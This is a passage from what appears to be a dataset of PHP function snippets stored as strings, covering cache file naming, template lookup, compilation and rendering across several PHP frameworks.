'.php';\r\n\t}", "public static function filename($file)\n {\n $info = pathinfo($file);\n $dt = static::now();\n $postfix = $dt->format(Config::get('settings.file_datetime_format'));\n if(isset($info['extension']) and !empty($info['extension']))\n {\n $filename = $info['filename'].'_'.$postfix.'.'.$info['extension'];\n } else {\n $filename = $info['filename'].'_'.$postfix;\n }\n \n return $filename;\n }", "public function getCacheFile()\n\t{\n\t\treturn $this->tempDir . '/' . $this->filename;\n\t}", "private function filterSmarty($file) {\n $smarty = SmartyWrapper::getInstance();\n\n // Set a few global template vars\n $smarty->assign('subtemplate', $this->output);\n $smarty->assign('pathclasses', $this->cfgReader->getPathClasses());\n $smarty->assign('cfg', $this->cfgReader->getResolved());\n\n // Return the template's output\n return $smarty->fetch($file);\n }", "private function check_cache()\n\t{\n\t\t$cache_file = Kohana::config($this->type.'.cache_folder').'/'.md5($this->file).EXT;\n\t\t$this->skip = FALSE;\n\t\t\n\t\tif (is_file($cache_file))\n\t\t{\n\t\t\t// touch file. helps determine if template was modified\n\t\t\ttouch($cache_file);\n\t\t\t// check if template has been mofilemtime($cache_file)dified and is newer than cache\n\t\t\t// allow $cache_time difference\n\t\t\tif ((filemtime($this->file)) > (filemtime($cache_file)+$this->cache_time))\n\t\t\t\t$this->skip = TRUE;\n\t\t}\n\t\t\n\t\treturn $cache_file;\n\t}", "function cachefile($url = false) {\n\t\tif(!$url) {\n\t\t\t$url = uniqid();\n\t\t}\n\t\t\n\t\t$request_hash = sha1($url);\n\t\t\n\t\t$tmp_path = sys_get_temp_dir();\n\t\t\n\t\t$cache_name = 'wmjapi-' . $this->token_hash . '-' \n\t\t\t. sha1($url) . '.json';\n\t\t\n\t\tif(substr($tmp_path, -1) !== '/') {\n\t\t\t$tmp_path = $tmp_path . '/';\n\t\t}\n\t\t\n\t\t$cache_file = $tmp_path . $cache_name;\n\t\t\n\t\treturn $cache_file;\n\t}", "static function gen($file) {\n\n\t\t$compile = BP_Parser::compile($file);\n\n\t\t$root = BlogPad::get_templates_dir();\n\n\t\t$theme = BlogPad::get_theme_name();\n\n\t\t$template_name = 'compiled_'.basename($file).'.php';\n\n\t\tif( !is_dir($root) ) {\n\t\t\tmkdir($root);\n\t\t}\n\n\t\t// Organise each template by its theme directory.\n\t\tif( !is_dir(\"$root/$theme\") ) {\n\t\t\tmkdir(\"$root/$theme\");\n\t\t}\n\n\t\tif( !empty($compile) ) {\n\t\t\tif( !file_put_contents(\"$root/$theme/$template_name\", $compile) ) {\n\t\t\t\ttrigger_error(\"Couldn't generate template for $file.\", E_USER_NOTICE);\n\t\t\t\texit;\n\t\t\t}\n\n\t\t}\n\n\t\t// Return the path of the compiled template so that it can be used as a pointer.\n\t\treturn \"$root/$theme/$template_name\";\n\t}", "private function getCacheFileByKey($key) {\n return self::CACHE_DIR . str_replace(DIRECTORY_SEPARATOR, '_', $key) . '.cache.php';\n\n }", "function getContent($file) {\r\n\t\t$cacheFile = '../cache' . DIRECTORY_SEPARATOR . md5($file);\r\n\t\tif (file_exists($cacheFile)) {\r\n\t\t\t$fh = fopen($cacheFile, 'r') or die(\"Unable to open file!\");\r\n\t\t\t$timeElapsed = time() - filemtime($cacheFile);\r\n\t\t\t// if data was cached recently, return cached data\r\n\t\t\tif ($timeElapsed < 86400) {\r\n\t\t\t\treturn fread($fh, filesize($cacheFile));\r\n\t\t\t}\r\n\r\n\t\t\t// else delete cache file\r\n\t\t\tfclose($fh);\r\n\t\t\tunlink($cacheFile);\r\n\t\t}\r\n\t\treturn;\r\n\t}", "function get_file_url($file, $nocache = false) {\n if($file = find_file($file)) {\n $url = str_replace(FILES_PATH,FILES_URL,$file);\n } else {\n return false;\n }\n if($nocache) {\n $url .= '?revision='.md5_file($file);\n }\n return $url;\n}", "protected function _getFileName() {\n\n\t\t\treturn \t$this->_cacheFolder.$this->_getHash($this->_cacheFile).$this->_cacheExtension;\n\n\t\t}", "static function cachebust_string( $filepath ) {\n\t\t$filemtime = @filemtime( $filepath );\n\n\t\tif ( $filemtime == null ) {\n\t\t\t$filemtime = @filemtime( utf8_decode( $filepath ) );\n\t\t}\n\n\t\tif ( $filemtime != null ) {\n\t\t\treturn date( 'YmdHi', $filemtime );\n\t\t} else { // can't get filemtime, fallback to cachebust every month\n\t\t\treturn date( 'Ym' );\n\t\t}\n\t}", "private function getFilePath($key) {\n return $this->cacheFilePath . md5($key) . '.cache';\n }", "function _CacheFileName($key) {\n\t\t$FileName = $this->CacheDir . '/' . $this->_CleanKey($key);\n\n\t\treturn $FileName;\n\t}", "private function get_real_filename( $file_url )\n {\n $path = $this->getConfig( 'content_dir' ) . $file_url . $this->getConfig( 'content_ext' );\n return realpath( $path );\n }", "final public function getFile($file) {\n $this->template = file_get_contents('app/'.$file);\n }", "public function getAssetFilename($file)\n {\n return craft()->assetRev->getAssetFilename($file);\n }", "public function render()\n\t{\n\t\tif ($this->file == null) { // intentionally ==\n\t\t\tthrow new Nette\\InvalidStateException('Template file name was not specified.');\n\t\t}\n\n\t\tif (!$this->getFilters()) {\n\t\t\t$this->onPrepareFilters($this);\n\t\t}\n\n\t\tif ($latte = $this->getLatte()) {\n\t\t\treturn $latte->setLoader(new Latte\\Loaders\\FileLoader)->render($this->file, $this->getParameters());\n\t\t}\n\n\t\t$cache = new Caching\\Cache($storage = $this->getCacheStorage(), 'Nette.FileTemplate');\n\t\tif ($storage instanceof Caching\\Storages\\PhpFileStorage) {\n\t\t\t$storage->hint = str_replace(dirname(dirname($this->file)), '', $this->file);\n\t\t}\n\t\t$cached = $compiled = $cache->load($this->file);\n\n\t\tif ($compiled === null) {\n\t\t\ttry {\n\t\t\t\t$compiled = \"<?php\\n\\n// source file: $this->file\\n\\n?>\" . $this->compile();\n\n\t\t\t} catch (CompileException $e) {\n\t\t\t\tthrow $e->setSource(file_get_contents($this->file), $e->sourceLine, $this->file);\n\t\t\t}\n\n\t\t\t$cache->save($this->file, $compiled, array(\n\t\t\t\tCaching\\Cache::FILES => $this->file,\n\t\t\t\tCaching\\Cache::CONSTS => 'Nette\\Framework::REVISION',\n\t\t\t));\n\t\t\t$cached = $cache->load($this->file);\n\t\t}\n\n\t\t$isFile = $cached !== null && $storage instanceof Caching\\Storages\\PhpFileStorage;\n\t\tself::load($isFile ? $cached['file'] : $compiled, $this->getParameters(), $isFile);\n\t}", "private function getCacheFile(string $key)\n {\n return $this->cacheDirectory . DIRECTORY_SEPARATOR . $key . self::CACHE_SUFFIX;\n }", "protected function composerFile(string $file): string\n {\n return Configuration::dataDir() . 'core/helpers/detector/' . $file;\n }", "protected function getCacheFile(){\n\t\treturn $this->getPath() . $this->getCacheName();\n\t}", "public function set_smarty_filename($file)\r\n {\r\n $file = substr($file,0,strlen($file)-4);\r\n if (($path = Kohana::find_file('views', $file,'tpl')) === FALSE)\r\n {\r\n throw new View_Exception('The requested view :file could not be found', array(\r\n ':file' => $file,\r\n ));\r\n }\r\n\r\n // Store the file path locally\r\n $this->_file = $path;\r\n\r\n return $this;\r\n }", "private function getRawTemplate($tID){\n\t\t\t$tpl = '';\n\t\t\tif(isset($this->rawTemplateCache[$this->template.'::'.$tID])){\n\t\t\t\t$tpl = $this->rawTemplateCache[$this->template.'::'.$tID];\n\t\t\t} else {\n\t\t\t\t$file = $GLOBALS['config']['root'].$this->getTemplateDir().$tID.'.html';\n\t\t\t\tif(!is_file($file)) $file = $GLOBALS['config']['root'].'_templates/'.$this->settings->tpl_base_template.'/'.$tID.'.html';\n\t\t\t\t//echo $file.'<br />';\n\t\t\t\t//print_r($this->config);\n\t\t\t\tif(is_file($file)){\n\t\t\t\t\t$tpl = $this->loadFile($file);\n\t\t\t\t\t$tpl = $this->generateFullyQualifiedNames($tpl, '');\n\t\t\t\t\t$this->rawTemplateCache[$this->template.'::'.$tID] = $tpl;\n\t\t\t\t} else {\n\t\t\t\t\t$this->_msg(str_replace(array('{file}'), array($file),$this->_('FILE_NOT_FOUND', 'core')), Messages::DEBUG_ERROR);\n\t\t\t\t\treturn str_replace(array('{file}'), array($file),$this->_('FILE_NOT_FOUND', 'core'));\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn $tpl;\n\t\t}", "public static function getCacheFile( ?iterable $f ): string {\n\n\t\t$c = '0';\n\n\t\tif( !empty( SV[ 'p' ] ) ) {\n\n\t\t\treturn $c;\n\n\t\t}\n\n\t\tif( defined('ROUTE') ) {\n\n\t\t\tif( ROUTE['route'] === '/logout/' ) {\n\n\t\t\t\treturn $c;\n\n\t\t\t}\n\n\t\t}\n\n\t\t$prm = !isset( $f[ 1 ] ) ? '' : '-'. str_replace('=', '-', $f[ 1 ] );\n\n\t\t$uri = defined('ROUTE') ? ltrim( ROUTE['node'], '#' ) . $prm : 'contents_'. $prm;\n\n\t\t// Files\n\t\t$files = [\n\n\t\t\t'preload'\t=> TCache . $uri . rtrim( str_replace( '/', '_', RQST ), '_' ) .'-'. md5( $uri ) .'.tpreload',\n\t\t\t'cache'\t\t=> TCache . $uri . rtrim( str_replace( '/', '_', RQST ), '_' ) .'-'. md5( $uri ) .'.tcache'\n\n\t\t];\n\n\t\tforeach( $files as $f => $p ) {\n\n\t\t\tswitch( $f ) {\n\n\t\t\t\tcase 'preload':\n\n\t\t\t\t\tif( is_readable($p) ) {\n\n\t\t\t\t\t\t$preload_parts = file_get_contents( $p );\n\n\t\t\t\t\t\tif( defined('PrefetchesList') ) {\n\n\t\t\t\t\t\t\t$preload_parts = 'Link: '. PrefetchesList . ltrim( rtrim($preload_parts, ', '), 'Link: ');\n\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\theader( $preload_parts );\n\n\t\t\t\t\t}\n\n\t\t\t\t\tbreak;\n\n\t\t\t}\n\n\t\t\tif( $f === 'cache') {\n\n\t\t\t\tif( is_readable($p) ) {\n\n\t\t\t\t\t$c = file_get_contents( $p );\n\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t}\n\n\t\treturn $c;\n\n\t}", "private static function getFilePath( $file )\n\t\t{\n\t\t\treturn Runtime::get('LOCALE_DIR').'/'.self::get().'/'.$file;\n\t\t}", "function _get_cache_file ($cache_file = \"\") {\n\t\tif (empty($cache_file)) {\n\t\t\treturn null;\n\t\t}\n\t\tif ($this->USE_MEMCACHED) {\n//\t\t\t$cache_key = basename($cache_file);\n//\t\t\t$data = $this->MC_OBJ->get($cache_key);\n// TODO\n\t\t// Common (files-based) cache code\n\t\t} else {\n\t\t\tclearstatcache();\n\t\t\tif (!file_exists($cache_file)) {\n\t\t\t\treturn null;\n\t\t\t}\n\t\t\t// Delete expired cache files\n\t\t\t$last_modified = filemtime($cache_file);\n\t\t\t$TTL = $this->CACHE_TTL;\n\t\t\tif ($last_modified < (time() - $TTL)) {\n\t\t\t\tunlink($cache_file);\n\t\t\t\treturn null;\n\t\t\t}\n\t\t\t// Get data from file\n\t\t\t$data = [];\n\t\t\tif (DEBUG_MODE) {\n\t\t\t\t$_time_start = microtime(true);\n\t\t\t}\n\t\t\t// Try to include file\n\t\t\tinclude ($cache_file);\n/*\t\t\t@eval(\"?> \".file_get_contents($cache_file).\" <?php\"); */\n\t\t\tif (DEBUG_MODE) {\n\t\t\t\t$GLOBALS['include_files_exec_time'][strtolower(str_replace(DIRECTORY_SEPARATOR, \"/\", $cache_file))] = (microtime(true) - $_time_start);\n\t\t\t}\n\t\t}\n\t\treturn $data;\n\t}", "public function getCachedFileName($key) {\n\t\treturn $key.$this->getCachedFileExtension();\n\t}", "protected function getFilename(string $key): string\n {\n return \\hash('sha256', $key) . '.cache';\n }", "protected function keyToCacheFilename($key): string\n {\n $hash = md5((string)$key);\n $sanitizedKey = substr(Inflector::toFile($key), 0, 50) . '-' . $hash;\n \n return $hash[0] . '/' . $hash[1] . '/' . $hash[2] . '/' . $sanitizedKey;\n }", "function getTemplateFilename($t)\n{\n\treturn ARC_TEMPLATE_FS . $t . '.php';\n}", "function templateData($file) {\n\t\treturn src\\Libre::__templateData($file);\n\t}", "private function mapPath($file)\n {\n if (isset(static::$staticMapping[$file])) {\n return static::$staticMapping[$file];\n }\n\n return $file;\n }", "protected function loadFile($file)\n {\n $filePath = $this->compileFileName($file);\n \n if (! is_file($filePath)) {\n return self::FILE_UNEXIST;\n } else if (! is_readable($filePath)) {\n return self::FILE_NOT_READABLE;\n } else {\n return new CacheFile($file, $this, file_get_contents($filePath));\n }\n }", "protected function _processTpl() {\n $sResult = '';\n if (file_exists($this->_sTplName)) {\n ob_start();\n require_once $this->_sTplName;\n $sResult = ob_get_clean();\n }\n\n return $sResult;\n }", "function include_caching($file) {\r\n $cachefile = SITE_CACHES_FILES . $file;\r\n $cachetime = 5 * 60; //secondes\r\n if (file_exists($cachefile) && (time() - $cachetime < filemtime($cachefile))) {\r\n include($cachefile);\r\n } else {\r\n $fp = fopen($cachefile, 'w');\r\n fwrite($fp, ob_get_contents());\r\n fclose($fp);\r\n ob_end_flush();\r\n }\r\n}", "protected function filename()\n {\n return 'emailtemplate_' . time();\n }", "function template( $file, $args ){\n if ( !file_exists( $file ) ) {\n return '';\n }\n // Make values in the associative array easier to access by extracting them\n if ( is_array( $args ) ){\n extract( $args );\n }\n // buffer the output (including the file is \"output\")\n ob_start();\n include $file;\n return ob_get_clean();\n }", "function begin_cache($file) {\r\n clearstatcache();\r\n $cachename = \"cache_\" . basename($file) . \".html\";\r\n $spit = '/';\r\n if (strpos($file, '/') == false)\r\n $spit = '\\\\';\r\n $cachename_all = dirname($file) . $spit . $cachename;\r\n if (file_exists($cachename_all)) {\r\n // redirection policy\r\n redirection($cachename);\r\n }\r\n ob_start();\r\n}", "function filename($file)\n{\n\tglobal $DATA_PATH;\n\t$cnt = strlen(__FILE__);\n\t$cnt -= strlen('script/main.php');\n\t$cnt += strlen($DATA_PATH);\n\treturn substr($file, $cnt);\n}", "public function loadTemplate($file) {\n $file = FilesystemUtils::getFullPath($file, CONTENT_DIR);\n $type = FilesystemUtils::getFileExtension($file);\n\n switch ($type) {\n case 'tpl':\n // Smarty template\n $this->output = $this->filterSmarty($file);\n break;\n\n case 'md':\n // Static Markdown file\n $this->output = $this->filterMarkdown($file);\n break;\n\n case 'tplmd':\n // Smarty template, with the output run through the Markdown parser\n $this->output = $this->filterMarkdown($this->filterSmarty($file), TRUE);\n break;\n\n case 'php':\n // PHP script\n $this->output = $this->filterPHP($file);\n break;\n\n case 'html':\n default:\n // HTML or other unsupported file; passed through unchanged\n $this->output = file_get_contents($file);\n break;\n }\n }", "protected function generateCacheKey($filename)\n {\n return ILess_Util::generateCacheKey($filename);\n }", "function oz_eval_template ($templatefile) {\r\n\t//Check if template already present in file system and that it's up to date.\r\n\t//If it is, then reuse it using include.\r\n\t$src = file_get_contents($templatefile);\r\n\t$php = '';\r\n\t$i = 0;\r\n\t$n = strlen($src);\r\n\twhile ($i<$n) {\r\n\t\t$i2 = strpos($src,'{{',$i);\r\n\t\tif ($i2===FALSE) {$php .= substr($src,$i,$n-$i);break;}\r\n\t\t$i3 = strpos($src,'}}',$i2+2);\r\n\t\tif ($i3===FALSE) {$php .= substr($src,$i,$n-$i);break;}\r\n\t\tif ($i2>$i) $php.=substr($src,$i,$i2-$i);\r\n\t\t$key = substr($src,$i2+2,$i3-$i2-2);\r\n\t\t$php.='<?php echo oz_text(\\''.$key.'\\'); ?>';\r\n\t\t$i = $i3+2;\r\n\t}\r\n\treturn eval(\" \\r\\n?>\".$php.\"<?php \\r\\n\");\r\n}", "protected function getFileName($id)\n {\n $directory = $this->getDirectory($id);\n $hash = sha1($id, false);\n $file = $directory . DIRECTORY_SEPARATOR . $hash . '.cache';\n return $file;\n }", "protected function getFileName($id)\n {\n $directory = $this->getDirectory($id);\n $hash = sha1($id, false);\n $file = $directory . DIRECTORY_SEPARATOR . $hash . '.cache';\n return $file;\n }", "public function renderFile($file = null)\n\t{\n\t\t$path = $this->_root . DIRECTORY_SEPARATOR . $file;\n\t\tob_start();\n\t\tif (is_file($path))\n\t\t{\n\t\t\tinclude($path);\n\t\t}\n\t\treturn ob_get_clean();\n\t}", "public function get_by_file($key, $file_path)\n {\n // can we access the original file?\n if (!is_readable($file_path)) {\n return null;\n }\n\n $item = apc_fetch($key);\n\n // cache is valid and is it newer than the last template modification date?\n return (filemtime($file_path) <= $item['timestamp']) ? $item['value'] : null;\n }", "private static function url_tpl_decrypt($y_tpl_file) {\n\t//--\n\tif(SMART_FRAMEWORK_ADMIN_AREA === true) {\n\t\t$the_area = 'admin';\n\t} else {\n\t\t$the_area = 'index';\n\t} //end if else\n\t//--\n\t$y_tpl_file = (string) SmartCipherCrypto::decrypt('hash/sha256', (string)$the_area.' '.SMART_FRAMEWORK_SECURITY_KEY.' '.SMART_SOFTWARE_NAMESPACE, (string)$y_tpl_file);\n\tif(!SmartFileSysUtils::check_if_safe_path((string)$y_tpl_file)) {\n\t\t$y_tpl_file = '';\n\t} //end if\n\t//--\n\treturn (string) $y_tpl_file;\n\t//--\n}", "function _tpl_load_file($handle)\n\t{\n\t\tglobal $config;\n\n\t\t// Try and open template for read\n\t\tif (!($fp = @fopen($this->files[$handle], 'r')))\n\t\t{\n\t\t\tmessage_die(GENERAL_ERROR, 'template->_tpl_load(): File ' . $this->files[$handle] . ' does not exist or is empty', '', __LINE__, __FILE__);\n\t\t}\n\n\t\t// compile required\n\t\tinclude_once($config->url('includes/class_template_compiler'));\n\t\t$tpl_compiler = new tpl_compiler();\n\t\t$this->compiled_code[$handle] = $tpl_compiler->compile(trim(@fread($fp, filesize($this->files[$handle]))));\n\t\t@fclose($fp);\n\n\t\t// output the template to the cache\n\t\tif ( !$config->data['cache_disabled_template'] )\n\t\t{\n\t\t\t$filename = ($this->mains[$handle] ? $this->alt_cacheprefix : $this->cacheprefix) . str_replace('/', '_', $this->filename[$handle]) . '.' . $config->ext;\n\t\t\t$tpl_compiler->compile_write($handle, $this->compiled_code[$handle], $filename);\n\t\t}\n\t\tunset($tpl_compiler);\n\t}", "protected function _renderFilename($file, array $params)\n {\n if ($filename = dahl_dev::getConfig()->renderFilename($file, $params)) {\n return $filename;\n\n }\n\n return parent::_renderFilename($file, $params);\n }", "private function getLayoutFile($file) {\n\t\treturn SNUG_VIEWS . '_layout_' . $file . '.haml';\n\t}", "public function templateFile() {\n return $this->_templateFile($this->intendedTemplate());\n }", "protected function getTemplateFilename() {\n if (isset($this->extra['template-file'])) {\n return $this->extra['template-file'];\n }\n return 'settings.local.php.twig';\n }", "function _tpl_load($handle)\n\t{\n\t\tglobal $config, $user, $db;\n\n\t\t// If we don't have a file assigned to this handle, die.\n\t\tif ( !isset($this->files[$handle]) )\n\t\t{\n\t\t\tmessage_die(GENERAL_ERROR, 'template->_tpl_load(): No file specified for handle ' . $handle, '', __LINE__, __FILE__);\n\t\t}\n\n\t\t// get the file name\n\t\t$w_filename = str_replace('/', '_', $this->filename[$handle]);\n\t\t$filename = ($this->mains[$handle] ? $this->alt_cacheprefix : $this->cacheprefix) . $w_filename . '.' . $config->ext;\n\n\t\t// Recompile page if the original template is newer, otherwise load the compiled version\n\t\tif ( !empty($this->compiled_code[$handle]) )\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t\telse if ( !$config->data['cache_disabled_template'] && @file_exists($filename) && (!$config->data['cache_check_template'] || (@filemtime($filename) > @filemtime($this->files[$handle]))) )\n\t\t{\n\t\t\treturn $filename;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->_tpl_load_file($handle);\n\t\t}\n\t\treturn false;\n\t}", "private function getThemedFile($file) {\n if (file_exists($this->template_dir.$this->primary_theme.\"/{$file}\")) {\n return $this->template_dir.$this->primary_theme.\"/{$file}\";\n }\n \n // Next, try the backup theme (usually the site theme)\n if (file_exists($this->template_dir.$this->backup_theme.\"/{$file}\")) {\n return $this->template_dir.$this->backup_theme.\"/{$file}\";\n }\n \n // Finally, use the default theme (regardless of file's existence)\n return $this->template_dir.$this->default_theme.\"/{$file}\";\n }", "public function getCachedFilePath($fileName)\n {\n $targetPath = dirname($fileName).DIRECTORY_SEPARATOR.basename($fileName);\n $targetPath = str_replace($this->getFolderRoot(), $this->getFolderCache(), $targetPath);\n return $targetPath;\n }", "public static function parse ( $file )\n {\n $file_path = XT_PROJECT_DIR .'/'. $file;\n $cached_path = XT_PROJECT_DIR .'/cache/'. $file;\n\n // Check if YAML file was updated since the last caching\n if ( !file_exists ( $cached_path ) ||\n filemtime ( $file_path ) > filemtime ( $cached_path ) )\n {\n // Generate a new cache\n $cached_dir = dirname ( $cached_path );\n if ( !is_dir ( $cached_dir ) )\n {\n mkdir ( $cached_dir, 0777, true );\n chmod ( $cached_dir, 0777 );\n }\n\n // Parse, cache & return\n if ( extension_loaded ( 'yaml' ) )\n {\n $parsed = yaml_parse_file ( $file_path );\n }\n else\n {\n $parsed = yaml::load ( $file_path );\n }\n file_put_contents ( $cached_path, serialize ( $parsed ) );\n\n // Chmod file if it isn't already world-writeable\n $perms = substr ( decoct ( fileperms ( $cached_path ) ), -3 );\n if ( $perms != 777 ) chmod ( $cached_path, 0777 );\n return $parsed;\n }\n\n // Return cached file\n return unserialize ( file_get_contents ( $cached_path ) );\n }", "protected function fetchTimestamp($tpl_name)\n\t{\n\t\tstatic $cache;\n\t\tif(!empty($cache[$tpl_name]))\n\t\t\treturn $cache[$tpl_name];\n\n\t\t$tpl_timestamp = NULL;\n\n\t\tif(file_exists($tpl_name))\n\t\t\t$tpl_timestamp = filemtime($tpl_name);\n\n\t\tif(($dirs = $this->smarty->getTemplateVars('template_dirnames')))\n\t\t{\n\t\t\tforeach($dirs as $dir)\n\t\t\t{\n\t\t\t\tif(!$tpl_timestamp && file_exists($fn = str_replace('xfile:', '', $dir).\"/\".$tpl_name))\n\t\t\t\t{\n\t\t\t\t\t$tpl_timestamp = filemtime($fn);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tforeach($this->smarty->getTemplateDir() as $d)\n\t\t\tif(!$tpl_timestamp && file_exists($fn = \"$d/$tpl_name\"))\n\t\t\t\t$tpl_timestamp = filemtime($fn);\n\n\t\t$find_tpl = '/templates/'.$tpl_name;\n\t\t$find_classes_tpl = '/'.$tpl_name;\n\t\t$default_template_dir = '/templates/'.dirname(config('default_template')).'/'.$tpl_name;\n\n\t\tif(!$tpl_timestamp)\n\t\t{\n\t\t\tforeach(bors_dirs(true) as $dir)\n\t\t\t{\n\t\t\t\tif(file_exists($fn = $dir.$find_tpl))\n\t\t\t\t{\n\t\t\t\t\t$tpl_timestamp = filemtime($fn);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tif(file_exists($fn = $dir.$find_classes_tpl))\n\t\t\t\t{\n\t\t\t\t\t$tpl_timestamp = filemtime($fn);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tif(file_exists($fn = $dir.$default_template_dir))\n\t\t\t\t{\n\t\t\t\t\t$tpl_timestamp = filemtime($fn);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif(!$tpl_timestamp)\n\t\t\treturn $tpl_timestamp;\n\n\t\tif(config('templates_cache_disabled'))\n\t\t\t$tpl_timestamp = time();\n\n\t\t$cache[$tpl_name] = $tpl_timestamp;\n\n\t\treturn $tpl_timestamp;\n\t}", "protected function storeResource($file)\n {\n $fileName = time() . Str::random(26) . '.' . $file->extension();\n\n if(config('app.storage_disk') == 's3')\n $filePath = 'resources/' . $fileName;\n else \n $filePath = $fileName;\n \n Storage::disk(config('app.storage_disk'))->put($filePath, file_get_contents($file));\n\n return $fileName;\n }", "static function leerTemplate($template) \n {\n if (!file_exists($template))\n return '';\n ob_start();\n include $template;\n $template = ob_get_contents();\n ob_end_clean();\n return $template;\n }", "protected function getTemplatePathAndFilename() {}", "protected function prepareFile($file)\n {\n return ltrim(str_replace('\\\\', '/', $file), '/');\n }", "protected function getUniqueFileName($file)\n {\n if ($this->fileStorageDb->checkDbUsage()) {\n $destFile = $this->fileStorageDb->getUniqueFilename(\n $this->mediaConfig->getBaseMediaUrlAddition(),\n $file\n );\n } else {\n $destFile = dirname($file) . '/' . \\Magento\\MediaStorage\\Model\\File\\Uploader::getNewFileName(\n $this->mediaDirectory->getAbsolutePath($this->getAttributeSwatchPath($file))\n );\n }\n\n return $destFile;\n }", "public function filePath($file) {\r\n $file = $this->fileLoad($file);\r\n return drupal_realpath($file->uri);\r\n }", "function llama_auto_version($file ='', $alternative_file = '', $extention = '') {\n\t//echo get_template_directory().$file;\n // strpos($file, '/') !== 0 || REMOVED\n \n if(!file_exists(get_template_directory().$file) && $alternative_file == '') {\n \treturn $file;\n }\n\n\t// alt file's time will be used if it is defined\t \n if($alt_file != '') {\n\t $mtime = filemtime(get_template_directory().$alternative_file);\n }\n else {\t\n\t\t$mtime = filemtime(get_template_directory().$file);\n }\n \n //echo $mtime;\n return preg_replace('{\\\\.([^./]+)$}', \".$mtime.\\$1\".$extention, $file);\n}", "public static function filename( $file, $extension ) {\n $directory = 'styles';\n if ( 'js' === $extension ) {\n $directory = 'scripts';\n }\n\n $file = 'assets/' . $directory . '/' . $file;\n\n $file_dev = $file . '.min.' . $extension;\n $file_prod = $file . '.' . $extension;\n\n // Show dev version of files if theme settings' dev mode enabled\n $dev = apply_filters( Plugin\\CODENAME . '_get_dev', false );\n\n if ( $dev && file_exists( Plugin\\PATH . $file_dev ) ) {\n $file = $file_dev;\n } else if ( file_exists( Plugin\\PATH . $file_prod ) ) {\n // Use min if not set as dev project\n $file = $file_prod;\n } else {\n // Stop if neither version of file is available\n\n return '';\n }\n\n return $file;\n }", "function get_file_path($key)\n\t{\n\t\t$key = md5($key);\n\t\t$file_name = $key.'.cache';\n\t\t$file_path = CACHE_DIR.$file_name;\n\n\t\treturn $file_path;\n\t}", "function get_tpl_filename($tpl_name)\n\t{\n\t $parts = preg_split('/\\//', $tpl_name);\n $site_core_view = SITE_CORE_VIEW;\n $site_core_view_fake = EkvCommonHelper::getSiteCoreViewFake();\n /**\n * sometimes it's required to process frontend tpls from backend environment so we need to make fake core\n * to make proper path for including\n */\n if(is_null($site_core_view_fake) == false){\n $site_core_view = $site_core_view_fake;\n }\n\n $use_theme = EkvCommonHelper::getUseTplTheme();\n\n $_templates_path = \"\";\n //#------------------- no theme or backend view -> use common usual templates -------------------#//\n if($use_theme == false || $site_core_view == SITE_BACKEND){\n $_templates_path = PATH_TEMPLATES . DIRECTORY_SEPARATOR . $site_core_view;\n }\n //#------------------- use_theme = true and view = frontend -> use old theme -------------------#//\n else if($use_theme && $site_core_view == SITE_FRONTEND){\n $_templates_path = PATH_TEMPLATES . DIR_SEP . 'theme_old';\n }\n// $_templates_path = PATH_TEMPLATES . DIRECTORY_SEPARATOR . $site_core_view;\n \n\t $_tpl_filename = '';\n\t if(1 == count($parts))\n\t {\n\t \tif(file_exists($_templates_path . DIRECTORY_SEPARATOR . 'common' . DIRECTORY_SEPARATOR . $tpl_name))\n\t \t{\n\t \t\t$_tpl_filename = $_templates_path . DIRECTORY_SEPARATOR . 'common' . DIRECTORY_SEPARATOR . $tpl_name;\n\t \t}\n\t }\n\t elseif(3 == count($parts))\n\t {\n\t \t$_module = $parts[0];\n\t \t$_entity = $parts[1];\n\t \t$_tpl = $parts[2];\n\n\t\t\t$_tpl_filename = $_templates_path . DIRECTORY_SEPARATOR . $_module . DIRECTORY_SEPARATOR . $_entity . DIRECTORY_SEPARATOR . $_tpl;\n\t \tif(!file_exists($_tpl_filename))\n\t \t{\n\t \t\t$_tpl_filename = '';\n\t \t}\n\t }\n\t elseif(count($parts) > 3)\n\t {\n\t \t$_module = $parts[0];\n\t \t$_entity = $parts[1];\n\t \t$_tpl = $parts[2].DIRECTORY_SEPARATOR.$parts[3];\n\n\t\t\t$_tpl_filename = $_templates_path . DIRECTORY_SEPARATOR . $_module . DIRECTORY_SEPARATOR . $_entity . DIRECTORY_SEPARATOR . $_tpl;\n\t \tif(!file_exists($_tpl_filename))\n\t \t{\n\t \t\t$_tpl_filename = '';\n\t \t}\n\t }\n \treturn $_tpl_filename;\n\t}", "public function CacheFileName()\n {\n $parts = pathinfo($this->pathToImage);\n $this->fileExtension = $parts['extension'];\n $this->saveAs = is_null($this->saveAs) ? $this->fileExtension : $this->saveAs;\n $quality_ = is_null($this->quality) ? null : \"_q{$this->quality}\";\n $cropToFit_ = is_null($this->cropToFit) ? null : \"_cf\";\n $sharpen_ = is_null($this->sharpen) ? null : \"_s\";\n $dirName = preg_replace('/\\//', '-', dirname($this->src));\n $cacheFileName = CACHE_PATH . \"-{$dirName}-{$parts['filename']}_{$this->newWidth}_{$this->newHeight}{$quality_}{$cropToFit_}{$sharpen_}.{$this->saveAs}\";\n $cacheFileName = preg_replace('/^a-zA-Z0-9\\.-_/', '', $cacheFileName);\n\n if($this->verbose) { self::verbose(\"Cache file is: {$cacheFileName}\"); }\n return $cacheFileName;\n }", "public function get_cache_filename($url)\n {\n }", "protected function readFile(string $cacheFile): string\n {\n return file_get_contents($cacheFile);\n }", "public function getTemplateFile();", "public function handleStaticPage($file) {\n\t\t# Build page HTML\n\t\t$html = $this->getInLayout($this->getTemplateForPage($file));\n\n\t\t# Write cache\t\t\n\t\t$this->writeFile(SNUG_HTDOCS . $file, $html);\n\t\t\n\t\t# Return compiled HTML\n\t\treturn $html;\n\t}", "function rand_file($file) {\n return \"$file.tmp.\". time()%10000 .'.'. getmypid() .'.'. floor(rand(0,10000));\n }", "private function generateFilePath($file)\n {\n $segments = explode('.', $file);\n\n // bygg upp mappstrukturen\n $file = '';\n for ($i = 0; $i < count($segments) - 1; $i++)\n {\n $file .= $segments[$i] . '/';\n }\n\n //lägg till hela sökvägen\n $file = APP_PATH . '/views/' . $file 